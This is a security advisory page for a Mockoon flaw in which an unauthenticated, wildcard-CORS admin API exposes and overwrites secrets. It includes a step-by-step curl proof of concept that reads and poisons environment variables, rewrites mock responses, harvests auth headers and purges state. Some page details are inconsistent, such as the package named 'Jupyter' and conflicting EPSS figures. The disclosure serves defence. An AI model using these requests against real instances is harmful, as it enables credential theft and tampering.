CVE-2026-59148: Mockoon: unauth admin API leaks secrets, hijacks mocks

GHSA-rqx4-3f6q-3x2v HIGH
Published September 11, 2026
CISO Take

Mockoon's admin API — enabled by default in every runtime (CLI, commons-server, serverless) — ships with zero authentication and a wildcard CORS policy (Access-Control-Allow-Origin: *) covering PUT/POST/DELETE, letting any network-adjacent attacker or malicious website read and overwrite process environment variables, rewrite live mock responses, and harvest auth headers from transaction logs. With 1,896 downstream dependents and an EPSS score in the top 82% of scored CVEs, the blast radius is real even though there's no CISA KEV listing or public exploit yet, and exploitation requires nothing more than curl. The default 0.0.0.0 bind means this isn't confined to localhost — CI runners, shared staging environments, and the serverless wrapper (which hardcodes the admin API on with no disable flag) are all exposed by default. Upgrade to @mockoon/cli / @mockoon/commons-server 9.7.0 immediately, or in the interim pass `--disable-admin-api` and bind mock servers to loopback only; audit any CI/staging deployment of Mockoon for public network exposure and rotate any secret ever passed via MOCKOON_* env vars on an affected instance.

Sources: NVD GitHub Advisory EPSS OpenSSF ATLAS

What is the risk?

Trivial to exploit (unauthenticated curl requests, no special tooling) but scoped mainly to environments where Mockoon's mock server port is network-reachable — local dev, CI runners, or shared staging. CVSS 8.8 in typical local-dev mode, escalating to 9.4-equivalent impact in network-exposed deployments (e.g., Docker/serverless with the hardcoded default). The wildcard CORS additionally turns this into a browser-based CSRF vector against any developer running the CLI locally, removing the 'attacker needs network access' assumption entirely. No active exploitation or scanner template exists yet (EPSS 0.26%, no KEV), but the combination of default-on exposure, zero auth, and a 1,896-dependent install base makes this a high-priority patch rather than a monitor-and-wait item.

How does the attack unfold?

Initial Access
Attacker reaches the Mockoon admin API on the default 0.0.0.0:3000 bind (network-adjacent) or via a malicious website exploiting wildcard CORS (browser-based), with zero authentication required.
AML.T0049
Credential Harvesting
Unauthenticated GET to /mockoon-admin/env-vars/{key} discloses real secrets (API keys, JWT secrets) templated into mock responses.
AML.T0055
Runtime Manipulation
Unauthenticated PUT to /mockoon-admin/environment rewrites every mocked route's body, status, and headers, poisoning whatever CI job, agent test harness, or downstream consumer relies on the mock.
Impact
Attacker exfiltrates consumer auth headers via the transaction-log/SSE endpoints or purges server state, corrupting AI test pipelines and potentially exposing real credentials to further compromise.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter npm < 9.7.0 9.7.0
13.3K OpenSSF 5.7 1.9K dependents Pushed 9d ago 57% patched ~35d to patch Full package profile →
Jupyter npm < 9.7.0 9.7.0
13.3K OpenSSF 5.7 1.9K dependents Pushed 9d ago 57% patched ~35d to patch Full package profile →

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 18% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI Required
S Unchanged
C High
I High
A High

What should I do?

1 step
  1. 1) Upgrade @mockoon/cli and @mockoon/commons-server to 9.7.0 immediately. 2) If upgrade isn't immediately possible, launch with --disable-admin-api (CLI) or avoid enableAdminApi: true in commons-server/serverless configs. 3) Never bind Mockoon to 0.0.0.0 in shared environments — explicitly set hostname to 127.0.0.1 for local dev and CI runners. 4) Treat any secret ever exposed via MOCKOON_* env vars on a pre-9.7.0 instance as compromised and rotate it. 5) Detection: audit network/firewall rules and CI runner configs for exposed Mockoon ports (default 3000); review any mockoon-admin request logs for unexpected GET/POST/PUT activity from unfamiliar origins. 6) In Docker/serverless deployments, confirm the shipped image pins ≥9.7.0 before next build.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

NIST AI RMF
MANAGE-4.1 - Risk Monitoring and Response
OWASP LLM Top 10
LLM02 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-59148?

Mockoon's admin API — enabled by default in every runtime (CLI, commons-server, serverless) — ships with zero authentication and a wildcard CORS policy (Access-Control-Allow-Origin: *) covering PUT/POST/DELETE, letting any network-adjacent attacker or malicious website read and overwrite process environment variables, rewrite live mock responses, and harvest auth headers from transaction logs. With 1,896 downstream dependents and an EPSS score in the top 82% of scored CVEs, the blast radius is real even though there's no CISA KEV listing or public exploit yet, and exploitation requires nothing more than curl. The default 0.0.0.0 bind means this isn't confined to localhost — CI runners, shared staging environments, and the serverless wrapper (which hardcodes the admin API on with no disable flag) are all exposed by default. Upgrade to @mockoon/cli / @mockoon/commons-server 9.7.0 immediately, or in the interim pass `--disable-admin-api` and bind mock servers to loopback only; audit any CI/staging deployment of Mockoon for public network exposure and rotate any secret ever passed via MOCKOON_* env vars on an affected instance.

Is CVE-2026-59148 actively exploited?

No confirmed active exploitation of CVE-2026-59148 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-59148?

1) Upgrade @mockoon/cli and @mockoon/commons-server to 9.7.0 immediately. 2) If upgrade isn't immediately possible, launch with `--disable-admin-api` (CLI) or avoid `enableAdminApi: true` in commons-server/serverless configs. 3) Never bind Mockoon to 0.0.0.0 in shared environments — explicitly set `hostname` to `127.0.0.1` for local dev and CI runners. 4) Treat any secret ever exposed via MOCKOON_* env vars on a pre-9.7.0 instance as compromised and rotate it. 5) Detection: audit network/firewall rules and CI runner configs for exposed Mockoon ports (default 3000); review any `mockoon-admin` request logs for unexpected GET/POST/PUT activity from unfamiliar origins. 6) In Docker/serverless deployments, confirm the shipped image pins ≥9.7.0 before next build.

What systems are affected by CVE-2026-59148?

This vulnerability affects the following AI/ML architecture patterns: CI/CD pipelines for AI systems, AI agent integration testing, mock API layers for LLM/agent testing, local development environments.

What is the CVSS score for CVE-2026-59148?

CVE-2026-59148 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.26%.

What is the AI security impact?

Affected AI Architectures

CI/CD pipelines for AI systemsAI agent integration testingmock API layers for LLM/agent testinglocal development environments

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials

Compliance Controls Affected

NIST AI RMF: MANAGE-4.1
OWASP LLM Top 10: LLM02

What are the technical details?

Original Advisory

## Summary Mockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits). Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can: - Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper). - **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes. - **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs. Because of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked. --- ## Details ### Root cause `packages/commons-server/src/libs/server/server.ts:127`: ```ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on }; ``` `packages/cli/src/commands/start.ts:200`: ```ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed ``` `packages/serverless/src/libs/serverless.ts:21`: ```ts enableAdminApi: true, // ← default on, no flag to disable in the constructor ``` `packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint): ```ts app.use(`${adminApiPrefix}*`, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); }); ``` `packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE): ```ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: `Environment variable '${key}' has been set to '${value}'` }); } else { throw new Error('Key or value missing from request'); } } catch (_error) { res.status(400).send({ message: 'Invalid request' }); } }; ``` `packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite): ```ts app.put(`${adminApiPrefix}/environment`, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (_error) { res.status(400).send({ message: 'Invalid environment format' }); } }); ``` Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`. --- ## PoC ### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`) `npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with: ``` MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file ``` Bind confirmed via `lsof`: ``` COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces ``` Baseline mock response: ``` $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` #### 1) Read operator secret unauth ``` $ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY HTTP/1.1 200 OK access-control-allow-origin: * {"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` #### 2) Poison operator secret unauth → downstream consumer ingests attacker value ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"} $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"} ``` #### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate) ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"} ``` #### 4) Cross-origin CSRF from `https://attacker.evil` ``` $ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"} ``` Wildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript. #### 5) Rewrite every mock route via unauth `PUT /environment` ``` $ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"} $ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true} ``` #### 6) Read transaction logs / SSE stream → harvest consumer's auth headers ``` $ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2 ``` Each log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE. #### 7) Purge state (DoS) ``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"} ``` --- ## Impact In typical local-dev mode (CVSS 8.8 High): - Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any `process.env` key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS. In network-exposed deployment (CVSS 9.4 Critical): - All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments. --- ## Suggested fix 1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`. 2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler — reject any `key` that doesn't start with `envVarsPrefix`. 5. Add `SECURITY.md` with disclosure instructions. 6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.

Exploitation Scenario

A pentester or attacker on the same CI runner, shared staging network, or corporate LAN discovers a Mockoon instance bound to 0.0.0.0:3000 used to mock an AI agent's upstream LLM API during integration tests. They send an unauthenticated GET to `/mockoon-admin/env-vars/API_KEY` and retrieve the real secret templated into mock responses, then POST to `/mockoon-admin/env-vars` to poison it with an attacker-controlled value that the CI pipeline or a partner integration silently ingests. Separately, a developer running `mockoon-cli start` locally visits a malicious website; the wildcard CORS policy lets that site's JavaScript silently issue a cross-origin `PUT /mockoon-admin/environment`, rewriting every mocked API response the developer's local AI agent test harness relies on — corrupting test results or exfiltrating request bodies/auth headers via the exposed transaction-log endpoint.

Weaknesses (CWE)

CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

  • [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
September 11, 2026
Last Modified
September 11, 2026
First Seen
September 12, 2026

Related Vulnerabilities